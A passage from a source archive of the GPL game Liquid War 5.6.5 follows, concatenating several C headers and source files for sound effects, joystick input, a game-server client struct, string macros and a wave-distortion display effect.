(SOUND_VOLUME_VALUES, 17 * sizeof (int)); #endif result = install_int_ex (water_handler, MSEC_TO_TIMER (WATER_DELAY)); water_handler (); } return result; } /*------------------------------------------------------------------*/ void stop_water (void) { remove_int (water_handler); } /*------------------------------------------------------------------*/ static void my_play_sample (SAMPLE * s, int vol) { if (vol > 0) play_sample (s, SOUND_VOLUME_VALUES[vol - 1], 128, 1000, 0); } /*------------------------------------------------------------------*/ void play_click (void) { static LW_MUTEX_DATA mutex = { NULL }; if (LOADED_SFX) { /* * We use a mutex for play_click since playing several clicks * together makes no sense. Additionnally, weird bugs (crashes...) * under windows when cycling "too fast" within the maps make * me think that it could be related to playing too many sounds * simultaneously from several threads. */ if (lw_mutex_trylock (&mutex)) { my_play_sample (SAMPLE_SFX_CLICK, CONFIG_CLICK_VOLUME); lw_mutex_unlock (&mutex); } else { log_println_str ("Warning: too many calls to \"play_click\"..."); } } } /*------------------------------------------------------------------*/ void play_go (void) { if (LOADED_SFX) my_play_sample (SAMPLE_SFX_GO, CONFIG_SFX_VOLUME); } /*------------------------------------------------------------------*/ void play_win (void) { if (LOADED_SFX) my_play_sample (SAMPLE_SFX_WIN, CONFIG_SFX_VOLUME); } /*------------------------------------------------------------------*/ void play_time (void) { if (LOADED_SFX) my_play_sample (SAMPLE_SFX_TIME, CONFIG_SFX_VOLUME); } /*------------------------------------------------------------------*/ void play_loose (void) { if (LOADED_SFX) my_play_sample (SAMPLE_SFX_LOOSE, CONFIG_SFX_VOLUME); } /*------------------------------------------------------------------*/ void play_connect (void) { if (LOADED_SFX) my_play_sample (SAMPLE_SFX_CONNECT, CONFIG_SFX_VOLUME); } liquidwar-5.6.5/src/wwwcli.h0000664000372000037200000001117013407756104015415 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* name : wwwcli.h */ /* content : client code used to contact www.ufoot.org */ /********************************************************************/ #ifndef LIQUID_WAR_INCLUDE_WWWCLI #define LIQUID_WAR_INCLUDE_WWWCLI /*==================================================================*/ /* includes */ /*==================================================================*/ #include "sockgen.h" #include "base.h" /*==================================================================*/ /* constants */ /*==================================================================*/ /*==================================================================*/ /* structs */ /*==================================================================*/ typedef struct { char label[LW_SOCK_IP_SIZE + 1 + 33]; char ip[LW_SOCK_IP_SIZE]; int port; int uptime; int busy_players; int max_players; int password; char comment[COMMENT_SIZE + 1]; int ping_delay; } LW_WWWCLI_DATA; /*==================================================================*/ /* fonctions globales */ /*==================================================================*/ int lw_wwwcli_get_games (LW_WWWCLI_DATA * buffer, int *size); #endif liquidwar-5.6.5/src/joystick.h0000664000372000037200000001215513407756104015744 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* nom : joystick.h */ /* contenu : gestion du joystick */ /* date de modif : 3 mai 98 */ /********************************************************************/ #ifndef LIQUID_WAR_INCLUDE_JOYSTICK #define LIQUID_WAR_INCLUDE_JOYSTICK /*==================================================================*/ /* includes */ /*==================================================================*/ /*==================================================================*/ /* variables globales */ /*==================================================================*/ #define KEY_JOY1_UP 110 #define KEY_JOY1_RIGHT 111 #define KEY_JOY1_DOWN 112 #define KEY_JOY1_LEFT 113 #define KEY_JOY1_B1 114 #define KEY_JOY1_B2 115 #define KEY_JOY1_B3 116 #define KEY_JOY1_B4 117 #define KEY_JOY2_UP 118 #define KEY_JOY2_RIGHT 119 #define KEY_JOY2_DOWN 120 #define KEY_JOY2_LEFT 121 #define KEY_JOY2_B1 122 #define KEY_JOY2_B2 123 extern int JOYSTICK_CONTROL_JOY1_UP; extern int JOYSTICK_CONTROL_JOY1_RIGHT; extern int JOYSTICK_CONTROL_JOY1_DOWN; extern int JOYSTICK_CONTROL_JOY1_LEFT; extern int JOYSTICK_CONTROL_JOY1_B1; extern int JOYSTICK_CONTROL_JOY1_B2; extern int JOYSTICK_CONTROL_JOY1_B3; extern int JOYSTICK_CONTROL_JOY1_B4; extern int JOYSTICK_CONTROL_JOY2_UP; extern int JOYSTICK_CONTROL_JOY2_RIGHT; extern int JOYSTICK_CONTROL_JOY2_DOWN; extern int JOYSTICK_CONTROL_JOY2_LEFT; extern int JOYSTICK_CONTROL_JOY2_B1; extern int JOYSTICK_CONTROL_JOY2_B2; /*==================================================================*/ /* fonctions globales */ /*==================================================================*/ int my_initialise_joystick (void); void my_poll_joystick (void); #endif liquidwar-5.6.5/src/autoplay.h0000664000372000037200000001073313407756104015743 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* nom : autoplay.h */ /* contenu : l'ordino joue tout seul */ /* date de modif : 3 mai 98 */ /********************************************************************/ #ifndef LIQUID_WAR_INCLUDE_AUTOPLAY #define LIQUID_WAR_INCLUDE_AUTOPLAY /*==================================================================*/ /* constantes */ /*==================================================================*/ #define COMPUTER_PATH_MAX 1024 /*==================================================================*/ /* types */ /*==================================================================*/ /*==================================================================*/ /* variables globales */ /*==================================================================*/ /*==================================================================*/ /* fonctions globales */ /*==================================================================*/ void reset_computer_path (void); char get_computer_next_move (int cursor); #endif liquidwar-5.6.5/src/level.h0000664000372000037200000001025313407756104015211 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* nom : level.h */ /* contenu : choix du niveau a jouer */ /* date de modif : 3 mai 98 */ /********************************************************************/ #ifndef LIQUID_WAR_INCLUDE_LEVEL #define LIQUID_WAR_INCLUDE_LEVEL /*==================================================================*/ /* types */ /*==================================================================*/ /*==================================================================*/ /* variables globales */ /*==================================================================*/ /*==================================================================*/ /* fonctions globales */ /*==================================================================*/ int choose_map (void); #endif liquidwar-5.6.5/src/macro.h0000664000372000037200000001706313407756104015211 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* name : macro.h */ /* content : application wide macros */ /********************************************************************/ #ifndef LIQUID_WAR_INCLUDE_MACRO #define LIQUID_WAR_INCLUDE_MACRO /*==================================================================*/ /* includes */ /*==================================================================*/ #include #include #ifdef SNPRINTF #include "../utils/snprintf/snprintf.h" #endif /*==================================================================*/ /* defines */ /*==================================================================*/ #define LW_MACRO_MEMSET0(BUFFER) { memset((BUFFER),0,sizeof(BUFFER)); } #define LW_MACRO_STRNCPY(DST,SRC,SIZE) { memset((DST),0,(SIZE)); strncpy((DST),(SRC),(SIZE)); (DST)[(SIZE)-1]='\0'; } #define LW_MACRO_STRCPY(DST,SRC) { LW_MACRO_STRNCPY((DST),(SRC),sizeof(DST)); } #define LW_MACRO_STRNCAT(DST,SRC,SIZE) { int len,pos; pos=strlen(DST); len=(SIZE)-1-pos; if (len>0) { int end; strncat((DST),(SRC),len); end = pos+strlen(SRC); if (end<(int) ((SIZE)-1)) { (DST)[end]='\0'; } } (DST)[(SIZE)-1]='\0'; } #define LW_MACRO_STRCAT(DST,SRC) { LW_MACRO_STRNCAT((DST),(SRC),sizeof(DST)); } /* * GCC 3.0 supports "..." parameters, together with __VA_ARGS__, however * GCC 2.95 does not seem to support it. Since we want LW to be * "GCC 2.95 friendly" we do not use this stuff. It's in C99 however... * So that's why there are zillion macros depending on how many args are * provided to the snprintf function. 8-( */ #define LW_MACRO_SNPRINTF0(DST,SIZE,FMT) { LW_MACRO_STRNCPY((DST),(FMT),(SIZE)); } #define LW_MACRO_SNPRINTF1(DST,SIZE,FMT,A) { memset((DST),0,(SIZE)); snprintf((DST),(SIZE),(FMT),(A)); (DST)[(SIZE)-1]='\0'; } #define LW_MACRO_SNPRINTF2(DST,SIZE,FMT,A,B) { memset((DST),0,(SIZE)); snprintf((DST),(SIZE),(FMT),(A),(B)); (DST)[(SIZE)-1]='\0'; } #define LW_MACRO_SNPRINTF3(DST,SIZE,FMT,A,B,C) { memset((DST),0,(SIZE)); snprintf((DST),(SIZE),(FMT),(A),(B),C); (DST)[(SIZE)-1]='\0'; } #define LW_MACRO_SNPRINTF4(DST,SIZE,FMT,A,B,C,D) { memset((DST),0,(SIZE)); snprintf((DST),(SIZE),(FMT),(A),(B),C,(D)); (DST)[(SIZE)-1]='\0'; } #define LW_MACRO_SNPRINTF5(DST,SIZE,FMT,A,B,C,D,E) { memset((DST),0,(SIZE)); snprintf((DST),(SIZE),(FMT),(A),(B),C,(D),(E)); (DST)[(SIZE)-1]='\0'; } #define LW_MACRO_SNPRINTF6(DST,SIZE,FMT,A,B,C,D,E,F) { memset((DST),0,(SIZE)); snprintf((DST),(SIZE),(FMT),(A),(B),C,(D),(E),(F)); (DST)[(SIZE)-1]='\0'; } #define LW_MACRO_SNPRINTF7(DST,SIZE,FMT,A,B,C,D,E,F,G) { memset((DST),0,(SIZE)); snprintf((DST),(SIZE),(FMT),(A),(B),C,(D),(E),(F),(G)); (DST)[(SIZE)-1]='\0'; } #define LW_MACRO_SNPRINTF8(DST,SIZE,FMT,A,B,C,D,E,F,G,H) { memset((DST),0,(SIZE)); snprintf((DST),(SIZE),(FMT),(A),(B),(C),(D),(E),(F),(G),(H)); (DST)[(SIZE)-1]='\0'; } #define LW_MACRO_SNPRINTF9(DST,SIZE,FMT,A,B,C,D,E,F,G,H,I) { memset((DST),0,(SIZE)); snprintf((DST),(SIZE),(FMT),(A),(B),(C),(D),(E),(F),(G),(H),(I)); (DST)[(SIZE)-1]='\0'; } #define LW_MACRO_SPRINTF0(DST,FMT) { LW_MACRO_SNPRINTF0((DST),sizeof(DST),(FMT)); } #define LW_MACRO_SPRINTF1(DST,FMT,A) { LW_MACRO_SNPRINTF1((DST),sizeof(DST),(FMT),(A)); } #define LW_MACRO_SPRINTF2(DST,FMT,A,B) { LW_MACRO_SNPRINTF2((DST),sizeof(DST),(FMT),(A),(B)); } #define LW_MACRO_SPRINTF3(DST,FMT,A,B,C) { LW_MACRO_SNPRINTF3((DST),sizeof(DST),(FMT),(A),(B),(C)); } #define LW_MACRO_SPRINTF4(DST,FMT,A,B,C,D) { LW_MACRO_SNPRINTF4((DST),sizeof(DST),(FMT),(A),(B),(C),(D)); } #define LW_MACRO_SPRINTF5(DST,FMT,A,B,C,D,E) { LW_MACRO_SNPRINTF5((DST),sizeof(DST),(FMT),(A),(B),(C),(D),(E)); } #define LW_MACRO_SPRINTF6(DST,FMT,A,B,C,D,E,F) { LW_MACRO_SNPRINTF6((DST),sizeof(DST),(FMT),(A),(B),(C),(D),(E),(F)); } #define LW_MACRO_SPRINTF7(DST,FMT,A,B,C,D,E,F,G) { LW_MACRO_SNPRINTF7((DST),sizeof(DST),(FMT),(A),(B),(C),(D),(E),(F),(G)); } #define LW_MACRO_SPRINTF8(DST,FMT,A,B,C,D,E,F,G,H) { LW_MACRO_SNPRINTF8((DST),sizeof(DST),(FMT),(A),(B),(C),(D),(E),(F),(G),(H)); } #define LW_MACRO_SPRINTF9(DST,FMT,A,B,C,D,E,F,G,H,I) { LW_MACRO_SNPRINTF9((DST),sizeof(DST),(FMT),(A),(B),(C),(D),(E),(F),(G),(H),(I)); } /* * Macros that does nothing, used to get rid of "unused variable" * messages when one still wants to keep a parameter in a function * for prototype consistency. */ #define LW_MACRO_NOP(X) { (X)=(X); } #endif liquidwar-5.6.5/src/distor.c0000664000372000037200000003221113407756104015377 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* nom : distor.c */ /* contenu : affichage avec des effets de vague */ /* date de modif : 31 Juillet 99 */ /********************************************************************/ /*==================================================================*/ /* includes */ /*==================================================================*/ #include "alleg2.h" #include "area.h" #include "config.h" #include "distor.h" #include "gfxmode.h" #include "glouglou.h" #include "profile.h" #include "startup.h" #include "time.h" #include "viewport.h" #include "log.h" /*==================================================================*/ /* variables globales */ /*==================================================================*/ #define PI_1024 3217 #define DISTORSION_PRECISION 4096 #define WAVE_SIZE_SCALE 4 #define DISTORSION_MAX 10 #define WAVE_MIN_LENGTH 64 static int DISTORSION_W; static int DISTORSION_H; static BITMAP *DISTORSION_TARGET = NULL; static int WAVE_SHAPE_WX[MAX_W_DISPLAY]; static int WAVE_SHAPE_WY[DISTORSION_MAX + 2][MAX_W_DISPLAY]; static int *WAVE_SHAPE_X_CORRES[MAX_W_DISPLAY]; static int WAVE_SHAPE_HY[MAX_H_DISPLAY]; static int WAVE_SHAPE_HX[DISTORSION_MAX + 2][MAX_H_DISPLAY]; static int *WAVE_SHAPE_Y_CORRES[MAX_H_DISPLAY]; /*==================================================================*/ /* fonctions */ /*==================================================================*/ /*------------------------------------------------------------------*/ static void init_distorsion_target (void) { if (DISTORSION_TARGET == NULL) { DISTORSION_TARGET = my_create_bitmap (NEXT_SCREEN->w, NEXT_SCREEN->h); } else { if (DISTORSION_TARGET->w != NEXT_SCREEN->w || DISTORSION_TARGET->h != NEXT_SCREEN->h) { destroy_bitmap (DISTORSION_TARGET); DISTORSION_TARGET = my_create_bitmap (NEXT_SCREEN->w, NEXT_SCREEN->h); } } } /*------------------------------------------------------------------*/ void init_distorsion_displayer (void) { int x, y, w, h; init_distorsion_target (); w = DISTORSION_TARGET->w; h = DISTORSION_TARGET->h; DISTORSION_W = (CONFIG_WAVE_AMPLI[0] + CONFIG_WAVE_AMPLI[3]) / WAVE_SIZE_SCALE + 1; DISTORSION_H = (CONFIG_WAVE_AMPLI[1] + CONFIG_WAVE_AMPLI[2]) / WAVE_SIZE_SCALE + 1; for (x = 0; x < DISTORSION_W + 1; ++x) WAVE_SHAPE_X_CORRES[x] = WAVE_SHAPE_HX[x]; for (x = DISTORSION_W; x < w - DISTORSION_W - 2; ++x) WAVE_SHAPE_X_CORRES[x] = WAVE_SHAPE_HX[DISTORSION_W + 1]; for (x = w - DISTORSION_W - 2; x < w - 1; ++x) WAVE_SHAPE_X_CORRES[x] = WAVE_SHAPE_HX[w - x - 2]; WAVE_SHAPE_X_CORRES[w - 1] = WAVE_SHAPE_HX[0]; for (y = 0; y < DISTORSION_H + 1; ++y) WAVE_SHAPE_Y_CORRES[y] = WAVE_SHAPE_WY[y]; for (y = DISTORSION_H; y < h - DISTORSION_H - 2; ++y) WAVE_SHAPE_Y_CORRES[y] = WAVE_SHAPE_WY[DISTORSION_H + 1]; for (y = h - DISTORSION_H - 2; y < h - 1; ++y) WAVE_SHAPE_Y_CORRES[y] = WAVE_SHAPE_WY[h - y - 2]; WAVE_SHAPE_Y_CORRES[h - 1] = WAVE_SHAPE_WY[0]; } /*------------------------------------------------------------------*/ static void create_wave_line (int *buffer, int length, int number, int ampli, int speed, int sens) { int i, period, period2, cycle_tmp; int ampli_cst, ampli_cos, freq_coef, cycle_coef; int f0, fp0x0, alphax03, betax02; int temp; int first_entry, last_entry, real_length; int *buffer2; length--; do { period = length / (number + 1); number--; } while (number >= 0 && period < WAVE_MIN_LENGTH); period2 = period / 2; if (period2 <= 0) { period2 = 1; } period = period2 * 2; real_length = period * (number + 1); first_entry = (length - real_length) / 2; last_entry = first_entry + real_length; buffer2 = buffer + first_entry; freq_coef = 16777216 / period; ampli_cst = (ampli * DISTORSION_PRECISION) / period2; ampli_cos = (ampli_cst * PI_1024) / 1024; cycle_tmp = 65536; while (speed > 0) { cycle_tmp /= 2; speed--; } cycle_tmp = fixsqrt (fixsqrt (cycle_tmp)) / 2; cycle_tmp /= SCREEN_W; cycle_tmp *= period; if (cycle_tmp <= 0) { cycle_tmp = 1; } cycle_coef = sens * 256 * (itofix (GLOBAL_TICKER % cycle_tmp) / cycle_tmp); f0 = fixsin (cycle_coef + freq_coef * period2); fp0x0 = (PI_1024 * fixcos (cycle_coef + freq_coef * period2)) / 1024; alphax03 = (ampli_cst / 256) * ((fp0x0 - 2 * f0) / 256); betax02 = (ampli_cst / 256) * ((-fp0x0 + 3 * f0) / 256); for (i = 0; i < period2; ++i) { temp = (3 * alphax03 * i) / period2 + 2 * betax02; temp = (temp * i) / period2; buffer2[i] = temp / WAVE_SIZE_SCALE; } for (i = period2; i < real_length - period2; ++i) { temp = ((ampli_cos) / 256) * (fixcos (cycle_coef + freq_coef * i) / 256); buffer2[i] = temp / WAVE_SIZE_SCALE; } alphax03 = (ampli_cst / 256) * ((-fp0x0 - 2 * f0) / 256); betax02 = (ampli_cst / 256) * ((fp0x0 + 3 * f0) / 256); for (i = 0; i < period2; ++i) { temp = (3 * alphax03 * i) / period2 + 2 * betax02; temp = (-temp * i) / period2; buffer2[real_length - 1 - i] = temp / WAVE_SIZE_SCALE; } for (i = 0; i < first_entry; ++i) buffer[i] = 0; for (i = last_entry; i < length; ++i) buffer[i] = 0; buffer[length] = 0; } /*------------------------------------------------------------------*/ void prepare_wave_shapes (void) { int w, h, x, y, i; w = DISTORSION_TARGET->w; h = DISTORSION_TARGET->h; create_wave_line (WAVE_SHAPE_WX, w, CONFIG_WAVE_NUMBER[0], CONFIG_WAVE_AMPLI[0] * CURRENT_AREA_W, CONFIG_WAVE_SPEED[0], +1); create_wave_line (WAVE_SHAPE_HY, h, CONFIG_WAVE_NUMBER[1], CONFIG_WAVE_AMPLI[1] * CURRENT_AREA_H, CONFIG_WAVE_SPEED[1], +1); create_wave_line (WAVE_SHAPE_WY[DISTORSION_H + 1], w, CONFIG_WAVE_NUMBER[2], CONFIG_WAVE_AMPLI[2] * CURRENT_AREA_H, CONFIG_WAVE_SPEED[2], +1); create_wave_line (WAVE_SHAPE_HX[DISTORSION_W + 1], h, CONFIG_WAVE_NUMBER[3], CONFIG_WAVE_AMPLI[3] * CURRENT_AREA_W, CONFIG_WAVE_SPEED[3], +1); for (x = 0; x < w; ++x) { WAVE_SHAPE_WX[x] += CURRENT_AREA_W * DISTORSION_PRECISION; WAVE_SHAPE_WY[0][x] = 0; WAVE_SHAPE_WY[1][x] = WAVE_SHAPE_WY[DISTORSION_H + 1][x] / DISTORSION_H; for (i = 1; i < DISTORSION_H; ++i) WAVE_SHAPE_WY[i + 1][x] = WAVE_SHAPE_WY[i][x] + WAVE_SHAPE_WY[1][x]; } for (y = 0; y < h; ++y) { WAVE_SHAPE_HY[y] += CURRENT_AREA_H * DISTORSION_PRECISION; WAVE_SHAPE_HX[0][y] = 0; WAVE_SHAPE_HX[1][y] = WAVE_SHAPE_HX[DISTORSION_W + 1][y] / DISTORSION_W; for (i = 1; i < DISTORSION_W; ++i) WAVE_SHAPE_HX[i + 1][y] = WAVE_SHAPE_HX[i][y] + WAVE_SHAPE_HX[1][y]; } } /*------------------------------------------------------------------*/ void disp_distorted_area (void) { char *src; int x, y, w, h, lim_w, lim_h, init_w, init_h; int *y_corres; int fp_x, fp_y, fp_y0, ip_y0; int fp_x0[MAX_W_DISPLAY]; int reste_x; #ifdef ASM int ip_x, ip_y; int temp = 0; int bmp_color_depth; int bmp_linear; int bmp_memory; bmp_color_depth = bitmap_color_depth (DISTORSION_TARGET); bmp_linear = is_linear_bitmap (DISTORSION_TARGET); bmp_memory = is_memory_bitmap (DISTORSION_TARGET); #endif w = DISTORSION_TARGET->w; h = DISTORSION_TARGET->h; lim_w = DISTORSION_PRECISION * w; lim_h = DISTORSION_PRECISION * h; init_w = (CURRENT_AREA_W * DISTORSION_PRECISION) / 2; init_h = (CURRENT_AREA_H * DISTORSION_PRECISION) / 2; prepare_wave_shapes (); for (x = 0; x < w; ++x) fp_x0[x] = 0; fp_y0 = init_h; ip_y0 = 0; for (y = 0; y < h; ++y) { fp_y = fp_y0; fp_x = init_w; src = (char *) CURRENT_AREA_DISP->dat + ip_y0 * CURRENT_AREA_W; y_corres = WAVE_SHAPE_Y_CORRES[y]; #ifdef ASM ip_x = 0; ip_y = ip_y0; /* * draw_distor_line works on memory 8-bit bitmaps only */ if (STARTUP_ASM && bmp_memory && bmp_linear && bmp_color_depth == 8) { draw_distor_line (DISTORSION_TARGET, CURRENT_AREA_W, w, y, fp_x, ip_x, fp_y, ip_y, lim_w, lim_h, fp_x0, y_corres, WAVE_SHAPE_WX, WAVE_SHAPE_X_CORRES, src, temp, temp, temp, temp, temp); } else #endif for (x = 0; x < w; ++x) { putpixel (DISTORSION_TARGET, x, y, *src); reste_x = fp_x0[x] += WAVE_SHAPE_X_CORRES[x][y]; fp_x += WAVE_SHAPE_WX[x]; while (reste_x < -fp_x) { fp_x += lim_w; src--; } while (reste_x + fp_x >= lim_w) { fp_x -= lim_w; src++; } fp_y += y_corres[x]; while (fp_y < 0) { fp_y += lim_h; src -= CURRENT_AREA_W; } while (fp_y >= lim_h) { fp_y -= lim_h; src += CURRENT_AREA_W; } } fp_y0 += WAVE_SHAPE_HY[y]; while (fp_y0 >= lim_h) { fp_y0 -= lim_h; ip_y0++; } } blit (DISTORSION_TARGET, NEXT_SCREEN, 0, 0, 0, 0, DISTORSION_TARGET->w, DISTORSION_TARGET->h); } liquidwar-5.6.5/src/langde.h0000664000372000037200000001055413407756104015340 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* name : langde.h */ /* content : handles German dependant stuff (locale) */ /********************************************************************/ #ifndef LIQUID_WAR_INCLUDE_LANGDE #define LIQUID_WAR_INCLUDE_LANGDE /*==================================================================*/ /* includes */ 